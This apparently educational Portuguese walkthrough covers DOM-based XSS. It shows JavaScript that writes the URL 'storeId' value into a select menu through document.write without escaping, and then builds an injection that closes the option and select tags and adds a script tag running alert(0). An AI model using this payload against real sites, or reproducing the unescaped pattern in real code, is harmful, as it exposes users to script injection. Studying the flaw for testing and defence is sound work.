> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM com document.write Dentro de um Select

### DOM XSS no document.write usando a origem location.search dentro de um elemento select

<figure><img src="/files/8b4b8135c32c078fbf0e1e67b762e3d3df102561" alt=""><figcaption></figcaption></figure>

O código a seguir gera dinamicamente um `<select>` menu suspenso com diferentes cidades e seleciona a transmitida no **storeId** parâmetro na URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemplo com parâmetro:

```
product?productId=2&storeId=Jordan
```

* Isso adiciona uma nova opção à lista suspensa.

<figure><img src="/files/f282d298ace41f1891b4e18cc3b148248910f3bb" alt=""><figcaption></figcaption></figure>

Ao fechar manualmente a `<option>` tag:

```javascript
</option>Jordan
```

`<select>` também pode ser fechada:

```javascript
</option></select>Jordan
```

<figure><img src="/files/c7a2aa639d5512fa57c311f4f3a8a01f334bd917" alt=""><figcaption></figcaption></figure>

Injeção final para executar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/30375c74ac463360f2bb7b936479f7c34c2b586f" alt=""><figcaption></figcaption></figure>


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